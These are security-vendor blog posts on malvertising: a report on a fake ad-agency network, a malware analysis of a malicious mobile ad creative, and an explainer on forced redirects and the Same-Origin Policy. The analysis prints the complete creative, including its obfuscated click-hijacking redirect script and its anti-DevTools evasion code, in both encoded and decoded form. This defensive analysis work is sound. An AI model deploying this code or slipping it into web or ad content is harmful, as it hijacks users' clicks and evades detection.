IndiaOnClick was later revamped, with an original design and original content — just like the other 27 ad agencies that Zirconium operated.

Reaching a massive scale

Everything is the same but everything is different: Each of the companies has been staged with a deliberate effort to

• Fake CEO personas with LinkedIn presence like Ferdinand Konrad (98 connections), and countless others.

Fig. 8: Ferdinand Konrad’s LinkedIn profile, the founder and CEO at Grandonmedia, based in Stuttgart, Germany

• Stock business photos (laptop and a coffee, suits in a meeting room, …)

• Regular social media posts with seemingly machine-generated content.

• Efforts to generate unique content, especially branded photos with marketing messages.

From a technical perspective, each fake company is operated by a completely independent infrastructure, from hosting to SSL servers to domain registration. Ad serving code is unique to each fake company.

Social Media content generation

Zirconium leverages a mysterious “marketing-o-tron” to generate automated content on social media via bots.

As of this writing, the bots are still active. Here’s a sample of deep marketing mantras for January 10, 2018, as found on Twitter:

“There can’t be any peak prices for your online campaigns”
- ElixMedia

“You must choose a valuable approach to all online campaigns”
- DeshMedia

“The best way to solve online ad problems is to use quality packs from k5market“
- K5Market

“There must be an array of options to provide quality online services”
- HoffmanBroker

“Without a doubt, it is very important to have a chance to take a credit at the beginning of the advertising”
- Face2Trade

“This company doesn’t make naked promises about the quality of provided services”
- MediaParade

“We always allow our clients to use our online services for free”
- GrandonMedia

Zirconium’s concept is to build independant marketing brands from scratch, en-masse. The vast majority went live in March/April 2017 according to Twitter account creation dates. At the date of this writing, 8 remain unused, ready to be leveraged when the ones currently exploited dry out.

In each case, Confiant found that the attacker was acquiring/building a large amount of media at once to support their malvertising campaigns, which then trickled down over months.

Long tail ad agencies are numerous and widely embraced by the ad industry. Zirconium was extremely successful at replicating the “small business” ad agency style. The attackers successfully built direct business relationships with as many as 16 ad platforms.

Leveraging a swarm of fake ad agencies gives a strong justification for running custom ad servers, a critical part of the scheme because it allows for javascript execution on websites running ads.

Dormant ad agencies

Out of the 28 fake ad agencies, only 20 ever had any activity in advertising markets. We believe Zirconium was progressively rolling out their agencies to overcome occasional bans, as they progressively got caught. We observed a pace of 1 to 3 releases per month. Since the majority of agencies were created around February 2017, the dormant ones progressively built precious reputation (mostly history, and social media following) to pose as established companies and maximize their potential of striking deals with more ad platforms.

The group had also recently started to come up with new agencies, like Big Shark Media (November 2017).

Fig. 9, Twitter, @BigsharkMedia, a dormant fake ad agency: “We’ll give you full advertising support in all your campaigns”

A classic business model

Fig. 10: Zirconium business model

A sophisticated legal structure

Thanks to cooperation with partners in the ad industry, Confiant identified the legal entity fronting the Zirconium activity as Cape Diamond LP, a shell company incorporated in Scotland with partners in the Seychelles — Damitra Group LTD and Lamen Business LTD.

The Zirconium business model is capital intensive and it makes sense that they would need to shield themselves behind an opaque offshore corporate structure.

Through 2017, both offshore companies have been extensively involved in online fraud activities, some of which crypto-currency related, most notably btc-e.com — a crypto exchange shut down by the US authorities in June 2017.

Fig. 11: Legal entities directed by Cape Diamond’s offshore partners. source: UK Corporate filings database

Conclusion

The Chrome team announced that forced redirects will be blocked in Chrome 64 scheduled for release on January 23. Google is fixing the hole that largely allows for this illegal business to thrive. They’ve already proven their adaptability and this will shift their efforts to some new threat vectors. Confiant will be here to greet them!

Appendix

Zirconium by the numbers

List of fake ad agencies

Dates and lifespans are based on actual activity in online advertising exchanges, last seen date populated as of Dec 21

About Confiant

Confiant is a cyber security company that came out of a recognition that the world’s most sophisticated advertisers aren’t Verizon or P&G, but criminals using the industry for their own, selfish ends. These criminals are hijacking programmatic advertising and giving publishers a bad name.

Confiant protects publishers’​ and platforms’​ reputations, revenue, and resources with always-on anti-malware software that provides protection for desktop, mobile, and video ads. Our sole focus is on helping advertising platforms and publishers rid the world of malware. This focus enables us to evolve quickly and meet our clients’​ needs for defeating the bad actors trying to undermine the industry.

We are the first to come to market with a technology that does not just detect the malicious activity, but actively blocks it. We believe in the intelligent application of this new technology to fight back and make media safe for everyone.

These days when we talk about digital ad fraud, most of us in Ad Tech think immediately about non-human traffic or nefarious supply chain tactics designed to siphon brand dollars. These are chief concerns, because they discredit our industry, but ultimately have little noticeable impact on the average digital consumer. Bots live in the cloud and are not susceptible to privacy issues — and the average Joe who gets click-baited onto a spammy tabloid website is not affected at all if the impression he generates is mis-represented as coming from a Tier-1 supply source to garnish a higher CPM.

On the other end of the spectrum we have the ads themselves that act as vehicles for fraud and other malicious activity. These have a discernible, often harmful impact on users’ experiences and their machines. Examples include Auto-Play Video, Crypto Jacking, Mobile Redirects, and in extreme cases Browser Hijacking Malware.

When I joined Confiant, I knew (read: hoped) that I would have an opportunity to get intimate with the actual code that delivers this junk into our browsers. Ultimately, I would like to answer the question of who is running these campaigns and why. What better place to start than the code? Let’s Dive in.

This creative tag showed up in my inbox the other day, reported by a publisher that noticed it active in the wild:

<!DOCTYPE html><html><head><meta charset=”UTF-8”/><script type=”application/javascript” src=”http://code.jquery.com/jquery-1.10.2.min.js”></script><script type=”application/javascript” src=”http://ftlabs.github.io/fastclick/lib/fastclick.js”></script><script type=”text/javascript”>!function(e){function n(e){function n(){return u}function o(){return window.Firebug&&window.Firebug.chrome&&window.Firebug.chrome.isInitialized?void i(“on”):(c=”off”,console.log(f),console.clear(),void i(c))}function i(e){u!==e&&(u=e,”function”==typeof d.onchange&&d.onchange(e))}function t(){w||(w=!0,window.removeEventListener(“resize”,o),clearInterval(a))}”function”==typeof e&&(e={onchange:e}),e=e||{};var r=e.delay||1e3,d={};d.onchange=e.onchange;var c,f=new Image;Object.defineProperty(f,’id’,{get:function(){c=”on”;}});var u=”unknown”;d.getStatus=n;var a=setInterval(o,r);window.addEventListener(“resize”,o);var w;return d.free=t,d}var o=o||{};o.create=n,”function”==typeof define?(define.amd||define.cmd)&&define(function(){return o}):”undefined”!=typeof module&&module.exports?module.exports=o:window[e]=o}(“jdetects”);</script><title></title> <style>#main,#popup{background: rgba(255, 255, 255, 255)}body{font-family: “Helvetica Neue”;}#main{margin: 0 auto; width: 100%; height: 100%; position: fixed; top: 0; right: 0}#overlay,#popup,.button-holder{position: absolute}#overlay{background: #999999; top: 0; left: 0; right: 0; bottom: 0}#popup{width: 322px; height: 115px; z-index: 10; border-radius: 8px; text-align: center; box-sizing: border-box; left: 50%; top: 50%; margin: -64px 0 0 -162px; font-size: 14px; box-shadow: 10px 7px 7px -1px rgba(117,115,117,0.54);}#popup p{margin: 10; padding: 0; text-align: left; color: #545454;}#popup .msg p{margin: 0; padding: 27px; line-height: 22px; font-size: 17px;}#popup .button-holder a{color: #006AFA; text-decoration: none; line-height: 50px; display: block; border-top: 1px solid #efefef; font-size: 17px; text-align: right;}#popup .two-button a{width: 100%; float: left; box-sizing: border-box}#popup .two-button a:first-child{/*border-right: 1px solid #efefef*/}.button-holder{width: 100%; bottom: 0}</style> <meta name=”viewport” content=”width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no, minimal-ui”></head> <div id=”main”> <div id=”overlay”></div><div id=”popup”> <div class=”msg”> <p>Open in “App Store”?</p></div><div class=”button-holder two-button”> <a>Cancel&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b>Open</b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a> <div style=”clear: both”></div></div></div></div><script type=”application/javascript” src=”data:text/javascript;base64,dmFyIF8weDRhYWYgPSBbCiAgICAnXHg2Zlx4NzBceDY1XHg2ZScsCiAgICAnXHg0Zlx4NDdceDY4JywKICAgICdceDY4XHg2OVx4NzNceDc0XHg2Zlx4NzJceDc5JywKICAgICdceDYyXHg2MVx4NjNceDZiJywKICAgICdceDZmXHg2ZVx4NzRceDZmXHg3NVx4NjNceDY4XHg2ZFx4NmZceDc2XHg2NScsCiAgICAnXHg1YVx4NDhceDc0JywKICAgICdceDY1XHg3Nlx4NjVceDZlXHg3NCcsCiAgICAnXHg3MFx4NzJceDY1XHg3Nlx4NjVceDZlXHg3NFx4NDRceDY1XHg2Nlx4NjFceDc1XHg2Y1x4NzQnLAogICAgJ1x4NzJceDY1XHg3NFx4NzVceDcyXHg2ZVx4NTZceDYxXHg2Y1x4NzVceDY1JywKICAgICdceDcyXHg2NVx4NjFceDY0XHg3OScsCiAgICAnXHgzNFx4N2NceDMxXHg3Y1x4MzBceDdjXHgzMlx4N2NceDMzXHg3Y1x4MzUnLAogICAgJ1x4NzNceDcwXHg2Y1x4NjlceDc0JywKICAgICdceDYxXHg3NFx4NzRceDYxXHg2M1x4NjgnLAogICAgJ1x4NjJceDZmXHg2NFx4NzknLAogICAgJ1x4NjFceDY0XHg2NFx4NDVceDc2XHg2NVx4NmVceDc0XHg0Y1x4NjlceDczXHg3NFx4NjVceDZlXHg2NVx4NzInLAogICAgJ1x4NjNceDZjXHg2OVx4NjNceDZiJwpdOwooZnVuY3Rpb24gKF8weDQ0MDRiOSwgXzB4NWYzMTJiKSB7CiAgICB2YXIgXzB4MTg4OTljID0gZnVuY3Rpb24gKF8weDE0MDU0YikgewogICAgICAgIHdoaWxlICgtLV8weDE0MDU0YikgewogICAgICAgICAgICBfMHg0NDA0YjlbJ1x4NzBceDc1XHg3M1x4NjgnXShfMHg0NDA0YjlbJ1x4NzNceDY4XHg2OVx4NjZceDc0J10oKSk7CiAgICAgICAgfQogICAgfTsKICAgIF8weDE4ODk5YygrK18weDVmMzEyYik7Cn0oXzB4NGFhZiwgMHhmOSkpOwp2YXIgXzB4ZjRhYSA9IGZ1bmN0aW9uIChfMHg1N2Q4YTksIF8weDNmNjNiOSkgewogICAgXzB4NTdkOGE5ID0gXzB4NTdkOGE5IC0gMHgwOwogICAgdmFyIF8weDI2YTNjMCA9IF8weDRhYWZbXzB4NTdkOGE5XTsKICAgIHJldHVybiBfMHgyNmEzYzA7Cn07CiQoZG9jdW1lbnQpW18weGY0YWEoJzB4MCcpXShmdW5jdGlvbiAoKSB7CiAgICB2YXIgXzB4MjliMzhiID0gewogICAgICAgICdceDU1XHg3NFx4NzgnOiBmdW5jdGlvbiBfMHgxM2VjYjAoXzB4YmM1ZmE2LCBfMHgyOGE2MDQpIHsKICAgICAgICAgICAgcmV0dXJuIF8weGJjNWZhNihfMHgyOGE2MDQpOwogICAgICAgIH0sCiAgICAgICAgJ1x4NWFceDQ4XHg3NCc6IGZ1bmN0aW9uIF8weDU4NjA5OChfMHhkNjVlMWEsIF8weDViNjkxMCwgXzB4MmExNzNiKSB7CiAgICAgICAgICAgIHJldHVybiBfMHhkNjVlMWEoXzB4NWI2OTEwLCBfMHgyYTE3M2IpOwogICAgICAgIH0KICAgIH07CiAgICB2YXIgXzB4NTdkNTkzID0gXzB4ZjRhYSgnMHgxJylbXzB4ZjRhYSgnMHgyJyldKCdceDdjJyksIF8weDExYjAzMyA9IDB4MDsKICAgIHdoaWxlICghIVtdKSB7CiAgICAgICAgc3dpdGNoIChfMHg1N2Q1OTNbXzB4MTFiMDMzKytdKSB7CiAgICAgICAgY2FzZSAnXHgzMCc6CiAgICAgICAgICAgIF8weDI5YjM4YlsnXHg1NVx4NzRceDc4J10oJCwgZnVuY3Rpb24gKCkgewogICAgICAgICAgICAgICAgRmFzdENsaWNrW18weGY0YWEoJzB4MycpXShkb2N1bWVudFtfMHhmNGFhKCcweDQnKV0pOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgY2FzZSAnXHgzMSc6CiAgICAgICAgICAgIHZhciBfMHgyZWEzZTkgPSAhW107CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIGNhc2UgJ1x4MzInOgogICAgICAgICAgICBkb2N1bWVudFtfMHhmNGFhKCcweDUnKV0oXzB4ZjRhYSgnMHg2JyksIGZ1bmN0aW9uIChfMHg0ZTI4OWMpIHsKICAgICAgICAgICAgICAgIGlmICghXzB4MmVhM2U5KSB7CiAgICAgICAgICAgICAgICAgICAgd2luZG93W18weGY0YWEoJzB4NycpXSgnXHg2OFx4NzRceDc0XHg3MFx4NzNceDNhXHgyZlx4MmZceDc2XHg3NVx4NmRceDY4XHg2NFx4MmVceDc2XHg2Zlx4NmNceDc1XHg3NVx4NmRceDc0XHg3Mlx4NmJceDMzXHgyZVx4NjNceDZmXHg2ZFx4MmZceDM5XHg2M1x4MzNceDY0XHgzN1x4MzlceDMwXHg2NFx4MmRceDYyXHg2Nlx4NjFceDYxXHgyZFx4MzRceDYzXHg2NFx4MzRceDJkXHg2Mlx4NjZceDMzXHgzNFx4MmRceDY1XHgzNVx4NjFceDM5XHgzNlx4NjZceDM5XHgzNFx4MzNceDM5XHg2MVx4MzJceDNmXHg2MVx4NjZceDY2XHg1Zlx4NzNceDc1XHg2Mlx4MzJceDNkXHg2M1x4MzFceDMyXHgzNVx4NjNceDY2XHgzNlx4MzdceDJkXHgzMFx4NjZceDM5XHgzMFx4MmRceDM0XHgzOVx4NjRceDMwXHgyZFx4NjJceDM3XHg2NVx4NjJceDJkXHgzMlx4MzZceDMwXHg2NFx4NjJceDMwXHg2Mlx4MzFceDM3XHg2Mlx4MzNceDYyXHg1Zlx4MzFceDM1XHgzMFx4MzZceDM2XHgzNVx4MzJceDMyXHgzMFx4MzBceDI2XHg2MVx4NjZceDY2XHg1Zlx4NzNceDc1XHg2Mlx4MzNceDNkXHg0ZFx4NDVceDQ0XHg0OVx4NDFceDRkXHg0MVx4NTRceDQ4XHgyZFx4NTBceDUyXHgyNlx4NjFceDY2XHg2Nlx4NWZceDczXHg3NVx4NjJceDM0XHgzZFx4MzNceDMyXHgzMFx4NzhceDM1XHgzMFx4MjZceDYxXHg2Nlx4NjZceDVmXHg3M1x4NzVceDYyXHgzNlx4M2RceDY2XHg3Mlx4NjVceDY1XHg3M1x4NzRceDYxXHg3Mlx4MmVceDY5XHg2Zlx4MjZceDY0XHg2Zlx4NmRceDYxXHg2OVx4NmVceDNkXHg2Nlx4NzJceDY1XHg2NVx4NzNceDc0XHg2MVx4NzJceDJlXHg2OVx4NmZceDI2XHg2NFx4NmZceDZkXHg2MVx4NjlceDZlXHg1Zlx4NjlceDY0XHgzZFx4MzlceDM2XHg2NFx4NjZceDYzXHg2M1x4MzFceDM4XHgzMVx4NjNceDM4XHgzNFx4MzlceDM5XHg2Nlx4NjVceDYyXHg2NVx4MzdceDY1XHgzNVx4MzNceDMyXHg2M1x4MzdceDM4XHgzNlx4NjVceDM5XHgzOVx4MzZceDM4XHgyNlx4NjNceDYxXHg2ZFx4NzBceDYxXHg2OVx4NjdceDZlXHg1Zlx4NjNceDZmXHg3NVx4NmVceDc0XHg3Mlx4NzlceDNkXHg1M1x4NGJceDVmXHg0OVx4NGZceDUzJyk7CiAgICAgICAgICAgICAgICAgICAgXzB4NDY4YTI0W18weGY0YWEoJzB4OCcpXShzZXRUaW1lb3V0LCBmdW5jdGlvbiAoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHdpbmRvd1tfMHhmNGFhKCcweDknKV1bXzB4ZjRhYSgnMHhhJyldKCk7CiAgICAgICAgICAgICAgICAgICAgfSwgMHhiYjgpOwogICAgICAgICAgICAgICAgICAgIF8weDJlYTNlOSA9ICEhW107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB3aW5kb3dbXzB4ZjRhYSgnMHhiJyldID0gbnVsbDsKICAgICAgICAgICAgfSwgIVtdKTsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgY2FzZSAnXHgzMyc6CiAgICAgICAgICAgIHdpbmRvd1tfMHhmNGFhKCcweGInKV0gPSBwcmV2ZW50RGVmYXVsdDsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgY2FzZSAnXHgzNCc6CiAgICAgICAgICAgIHZhciBfMHg0NjhhMjQgPSB7CiAgICAgICAgICAgICAgICAnXHg0Zlx4NDdceDY4JzogZnVuY3Rpb24gXzB4NGZiZDhmKF8weDQ0N2U2MiwgXzB4MmJlYjljLCBfMHgyZTg5MGYpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gXzB4NDQ3ZTYyKF8weDJiZWI5YywgXzB4MmU4OTBmKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfTsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgY2FzZSAnXHgzNSc6CiAgICAgICAgICAgIF8weDI5YjM4YltfMHhmNGFhKCcweGMnKV0oc2V0VGltZW91dCwgZnVuY3Rpb24gKCkgewogICAgICAgICAgICAgICAgd2luZG93W18weGY0YWEoJzB4YicpXSA9IG51bGw7CiAgICAgICAgICAgIH0sIDB4M2E5OCk7CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KICAgICAgICBicmVhazsKICAgIH0KfSk7CmZ1bmN0aW9uIHByZXZlbnREZWZhdWx0KF8weDUxYzEzNikgewogICAgXzB4NTFjMTM2ID0gXzB4NTFjMTM2IHx8IHdpbmRvd1tfMHhmNGFhKCcweGQnKV07CiAgICBpZiAoXzB4NTFjMTM2WydceDcwXHg3Mlx4NjVceDc2XHg2NVx4NmVceDc0XHg0NFx4NjVceDY2XHg2MVx4NzVceDZjXHg3NCddKQogICAgICAgIF8weDUxYzEzNltfMHhmNGFhKCcweGUnKV0oKTsKICAgIF8weDUxYzEzNltfMHhmNGFhKCcweGYnKV0gPSAhW107Cn0KOw==”></script><script type=”application/javascript” src=”data:text/javascript;base64,amRldGVjdHMuY3JlYXRlKGZ1bmN0aW9uKHN0YXR1cyl7aWYoc3RhdHVzIT0ib2ZmIil7d2luZG93LmNsb3NlKCk7d2luZG93Lmhpc3RvcnkuYmFjaygpO307fSk7”></script></body></html>

Right away, even to the untrained eye, alarm bells should be ringing. Here are some initial observations:

1. We see some confusing JavaScript opening up this creative that appears to be checking for the presence of Chrome DevTools and/or Firebug.

return window.Firebug&&window.Firebug.chrome&&window.Firebug.chrome.isInitialized?void

2. Clearly suspicious markup:

<div id=”popup”> <div class=”msg”> <p>Open in “App Store”?</p></div>

3. A wall of base64 encoded JavaScript:

<script type=”application/javascript” src=”data:text/javascript;base64,dmFyIF8weDRhYWYgPSBbCiAgICAnXHg2Zlx4NzBceDY1XHg2ZScsCiAgICAnXHg0Zlx4NDdceDY4JywKICAgICdceDY4XHg2OVx4NzNceDc0XHg2Zlx4NzJceDc5JywKICAgICdceDYyXHg2MVx4NjNceDZiJywKICAgICdceDZmXHg2ZVx4NzRceDZ…

… <script type=”application/javascript” src=”data:text/javascript;base64,amRldGVjdHMuY3JlYXRlKGZ1bmN0aW…

4. The presence of a library called fastclick.js:

<script type=”application/javascript” src=”http://ftlabs.github.io/fastclick/lib/fastclick.js“>

Let’s see what happens when we decode some of that base64 encoded JavaScript:

<script type=”application/javascript” src=”data:text/javascript;base64,var _0x4aaf = [
 ‘\x6f\x70\x65\x6e’,
 ‘\x4f\x47\x68’,
 ‘\x68\x69\x73\x74\x6f\x72\x79’,
 ‘\x62\x61\x63\x6b’,
 ‘\x6f\x6e\x74\x6f\x75\x63\x68\x6d\x6f\x76\x65’,
 ‘\x5a\x48\x74’,
 ‘\x65\x76\x65\x6e\x74’,
 ‘\x70\x72\x65\x76\x65\x6e\x74\x44\x65\x66\x61\x75\x6c\x74’,
 ‘\x72\x65\x74\x75\x72\x6e\x56\x61\x6c\x75\x65’,
 ‘\x72\x65\x61\x64\x79’,
 ‘\x34\x7c\x31\x7c\x30\x7c\x32\x7c\x33\x7c\x35’,
 ‘\x73\x70\x6c\x69\x74’,
 ‘\x61\x74\x74\x61\x63\x68’,
 ‘\x62\x6f\x64\x79’,
 ‘\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72’,
 ‘\x63\x6c\x69\x63\x6b’
];
(function (_0x4404b9, _0x5f312b) {
 var _0x18899c = function (_0x14054b) {
 while ( — _0x14054b) {
 _0x4404b9[‘\x70\x75\x73\x68’](_0x4404b9[‘\x73\x68\x69\x66\x74’]());
 }
 };
 _0x18899c(++_0x5f312b);
}(_0x4aaf, 0xf9));
var _0xf4aa = function (_0x57d8a9, _0x3f63b9) {
 _0x57d8a9 = _0x57d8a9–0x0;
 var _0x26a3c0 = _0x4aaf[_0x57d8a9];
 return _0x26a3c0;
};
$(document)[_0xf4aa(‘0x0’)](function () {
 var _0x29b38b = {
 ‘\x55\x74\x78’: function _0x13ecb0(_0xbc5fa6, _0x28a604) {
 return _0xbc5fa6(_0x28a604);
 },
 ‘\x5a\x48\x74’: function _0x586098(_0xd65e1a, _0x5b6910, _0x2a173b) {
 return _0xd65e1a(_0x5b6910, _0x2a173b);
 }
 };
 var _0x57d593 = _0xf4aa(‘0x1’)[_0xf4aa(‘0x2’)](‘\x7c’), _0x11b033 = 0x0;
 while (!![]) {
 switch (_0x57d593[_0x11b033++]) {
 case ‘\x30’:
 _0x29b38b[‘\x55\x74\x78’]($, function () {
 FastClick[_0xf4aa(‘0x3’)](document[_0xf4aa(‘0x4’)]);
 });
 continue;
 case ‘\x31’:
 var _0x2ea3e9 = ![];
 continue;
 case ‘\x32’:
 document[_0xf4aa(‘0x5’)](_0xf4aa(‘0x6’), function (_0x4e289c) {
 if (!_0x2ea3e9) {
 window[_0xf4aa(‘0x7’)](‘\x68\x74\x74\x70\x73\x3a\x2f\x2f\x76\x75\x6d\x68\x64\x2e\x76\x6f\x6c\x75\x75\x6d\x74\x72\x6b\x33\x2e\x63\x6f\x6d\x2f\x39\x63\x33\x64\x37\x39\x30\x64\x2d\x62\x66\x61\x61\x2d\x34\x63\x64\x34\x2d\x62\x66\x33\x34\x2d\x65\x35\x61\x39\x36\x66\x39\x34\x33\x39\x61\x32\x3f\x61\x66\x66\x5f\x73\x75\x62\x32\x3d\x63\x31\x32\x35\x63\x66\x36\x37\x2d\x30\x66\x39\x30\x2d\x34\x39\x64\x30\x2d\x62\x37\x65\x62\x2d\x32\x36\x30\x64\x62\x30\x62\x31\x37\x62\x33\x62\x5f\x31\x35\x30\x36\x36\x35\x32\x32\x30\x30\x26\x61\x66\x66\x5f\x73\x75\x62\x33\x3d\x4d\x45\x44\x49\x41\x4d\x41\x54\x48\x2d\x50\x52\x26\x61\x66\x66\x5f\x73\x75\x62\x34\x3d\x33\x32\x30\x78\x35\x30\x26\x61\x66\x66\x5f\x73\x75\x62\x36\x3d\x66\x72\x65\x65\x73\x74\x61\x72\x2e\x69\x6f\x26\x64\x6f\x6d\x61\x69\x6e\x3d\x66\x72\x65\x65\x73\x74\x61\x72\x2e\x69\x6f\x26\x64\x6f\x6d\x61\x69\x6e\x5f\x69\x64\x3d\x39\x36\x64\x66\x63\x63\x31\x38\x31\x63\x38\x34\x39\x39\x66\x65\x62\x65\x37\x65\x35\x33\x32\x63\x37\x38\x36\x65\x39\x39\x36\x38\x26\x63\x61\x6d\x70\x61\x69\x67\x6e\x5f\x63\x6f\x75\x6e\x74\x72\x79\x3d\x53\x4b\x5f\x49\x4f\x53’);
 _0x468a24[_0xf4aa(‘0x8’)](setTimeout, function () {
 window[_0xf4aa(‘0x9’)][_0xf4aa(‘0xa’)]();
 }, 0xbb8);
 _0x2ea3e9 = !![];
 }
 window[_0xf4aa(‘0xb’)] = null;
 }, ![]);
 continue;
 case ‘\x33’:
 window[_0xf4aa(‘0xb’)] = preventDefault;
 continue;
 case ‘\x34’:
 var _0x468a24 = {
 ‘\x4f\x47\x68’: function _0x4fbd8f(_0x447e62, _0x2beb9c, _0x2e890f) {
 return _0x447e62(_0x2beb9c, _0x2e890f);
 }
 };
 continue;
 case ‘\x35’:
 _0x29b38b[_0xf4aa(‘0xc’)](setTimeout, function () {
 window[_0xf4aa(‘0xb’)] = null;
 }, 0x3a98);
 continue;
 }
 break;
 }
});
function preventDefault(_0x51c136) {
 _0x51c136 = _0x51c136 || window[_0xf4aa(‘0xd’)];
 if (_0x51c136[‘\x70\x72\x65\x76\x65\x6e\x74\x44\x65\x66\x61\x75\x6c\x74’])
 _0x51c136[_0xf4aa(‘0xe’)]();
 _0x51c136[_0xf4aa(‘0xf’)] = ![];
}
;”></script><script type=”application/javascript” src=”data:text/javascript;base64,jdetects.create(function(status){if(status!=”off”){window.close();window.history.back();};});”></script></body></html>

At this point you might be feeling a bit confused and cross-eyed, but what we have here is actually a very familiar pattern of JavaScript obfuscation. The code purposefully uses cryptic variable names and a series of hex encoded strings to make the logic hard to follow. It’s a fascinating glimpse into some of the more sophisticated tactics used by malvertisers — considering that these bad actors have likely developed, or borrowed and modified tooling to make this process a bit more streamlined for themselves. Let’s take a peek at what we see if we hex decode some of objects above:

var _0x4aaf = [‘open’, ‘OGh’, ‘history’, ‘back’, ‘ontouchmove’, ‘ZHt’, ‘event’, ‘preventDefault’, ‘returnValue’, ‘ready’, ‘4|1|0|2|3|5’, ‘split’, ‘attach’, ‘body’, ‘addEventListener’, ‘click’]

window[_0xf4aa(‘0x7’)](‘https://vumhd.voluumtrk3.com/9c3d790d-bfaa-4cd4-bf34-e5a96f9439a2?aff_sub2=c125cf67-0f90-49d0-b7eb-260db0b17b3b_1506652200&aff_sub3=MEDIAMATH-PR&aff_sub4=320x50&aff_sub6=[REDACTED].io&domain=[REDACTED].io&domain_id=96dfcc181c8499febe7e532c786e9968&campaign_country=SK_IOS‘);```

Looks like we discovered the landing page url! Regardless, it’s safe to say at this point that trying to decode all of these strings and stitch together the execution flow of this script will likely not get us anywhere fast. This is where I would typically take the code, save as an HTML file, and load it in the browser to observe how it behaves.

If you’re overly paranoid about exposing yourself to malicious code and potentially dangerous landing pages, this is best done in a sandboxed virtual machine. Today I’m going to live dangerously. Here we go:

Now we see exactly what the suspicious markup is doing. The HTML and CSS paint a very native looking app install screen, but the catch here is that any click within the entire window will land us on this familiar link that we recognize from above:

https://vumhd.voluumtrk3.com/9c3d790d-bfaa-4cd4-bf34-e5a96f9439a2?aff_sub2=c125cf67-0f90-49d0-b7eb-260db0b17b3b_1506652200&aff_sub3=MEDIAMATH-PR&aff_sub4=320x50&aff_sub6=[REDACTED].io&domain=[REDACTED].io&domain_id=96dfcc181c8499febe7e532c786e9968&campaign_country=SK_IOS

This landing page takes us down a rabbit hole of redirects that’s worthy of a blog post in and of itself, but that is outside of the scope of this investigation, so we will focus on the creative itself. One thing that stands out when I press the cancel button is how immediately the landing page spawns. This is thanks to the FastClick library we observed being loaded above. More about FastClick here:

https://github.com/ftlabs/fastclick

FastClick is a simple, easy-to-use library for eliminating the 300ms delay between a physical tap and the firing of a click event on mobile browsers. The aim is to make your application feel less laggy and more responsive while avoiding any interference with your current logic.

While this is legitimately a useful library to give web apps that native feel, the application here for a malvertisement speaks for itself.

Usually our goal with diving into these things is to discover unique code identifiers and any 3rd party domains that the ad might be loading or relying on. By now we have all of these things, because we can take a segment of the base64 encoded string as an identifier and we can add the landing page to our list of known security violators, but no investigation is finished without a peek under the hood. Enter Chrome DevTools.

If you’ve done any sort of Ad Ops QA, web design, debugging, or troubleshooting in a web browser, then you are likely familiar with Chrome DevTools. Chrome DevTools has a built-in debugger that I would normally use to set breakpoints in the execution of the ad code in order to catch what’s going on in real time, so I refresh my page, invoke DevTools with the hot keys CMD+Option+I, and then… nothing!

The browser window vanishes without a trace.

Turns out that little piece of JavaScript that we noticed earlier was quite effective at recognizing the presence of DevTools, clearing the console, and killing the window. It’s a common tactic for malicious JavaScript, and one that we can mitigate with any number of careful adjustments. I did so by changing this bit:

(c=”off”,console.log(f),console.clear(),void i(c))

To this:

(c=”off”,void i(c))

In my opinion, it’s probably best not to tamper with the original code too much, because I hate to break any unique functionality and miss out on observing attack vectors that I have not seen before.

Let’s try DevTools again:

This is where I’ll leave you all to do your own exploring. Hopefully this was an informative foray into some of the nuances of malicious ad code, but more importantly, perhaps this example can serve as an eye opening glimpse at just how seriously the bad actors take their business.

Edit: Domains have been redacted by vendor request.

Archive: This article was originally published on our Confiant Medium blog on October 9, 2017

stock photo via unsplash.com

Forced mobile redirects are perhaps the most pervasive ad security concern today for both publishers and consumers of digital content. In fact, apart from deceptive in-banner video campaigns, it’s the number one inbound concern we see from our customers here at Confiant. It’s an issue that is well known and documented. Here’s a twitter search for “malicious ad”:

https://twitter.com/search?f=images&vertical=default&q=malicious%20ad

While some of the bad actors pushing redirects do layer on sophisticated elements of obfuscation in order to evade detection, most of the time it’s this one little loophole at the heart of it all:

window.top.location = “http://[redirect]”;

In order to fully understand why this is possible from a display ad, and why removing this feature entirely is not a viable solution to the problem, we need to learn a couple of things about browser security, namely the Same-Origin Policy.

The Same-Origin Policy is a (non-standardized) ruleset that dictates what level of access embedded web elements have to their parent, and vice versa. “Origin” is determined by several factors, but at a high-level we can just think of it as the top-level domain. This is important, because contemporary websites are advanced applications that typically consist of third and fourth-party components all on one page. Think: embedded media, external forms, social widgets, SSO, ads, etc.

So if for example, website abc.com has a widget from xyz.com in the side panel, the widget is not able to access the parent site’s DOM, because the two top-level domains don’t match. Before we move on, let’s be explicit about why there is an immutable need for this rule:

If Cross-Origin elements are able to access each other, then third party cookies, authentication, and sensitive data can be easily and unequivocally compromised.

For example, you know how your gmail account leaves you logged in so that you don’t have to enter your password every single time you navigate to the site? Now imagine a sophisticated attacker is able to embed gmail.com in an invisible iframe on his malicious website. If you land on that malicious site while authenticated with gmail, and his code can read the contents of that iframe, then it’s game over for the integrity of your email account. What if instead of gmail it was your checking account? Conversely, in a world without the Same-Origin Policy, an attacker’s malicious code can break out to read and impact the parent page. Imagine the wrath of bad campaigns in a world like that?

At this point, let’s ask the obvious question to ask:

If the Same-Origin Policy prevents cross-domain objects from accessing each other, then why can we set window.top.location from a cross-domain iframed ad?

What we have here is actually an intentional exception to the rule, and for good reason. The crux of it is that despite all the mitigations afforded by a browser’s enforcement of the Same-Origin Policiy, iframes still continue to pose a security threat. Let’s take a look at an attack called Clickjacking as an example:

https://en.wikipedia.org/wiki/Clickjacking

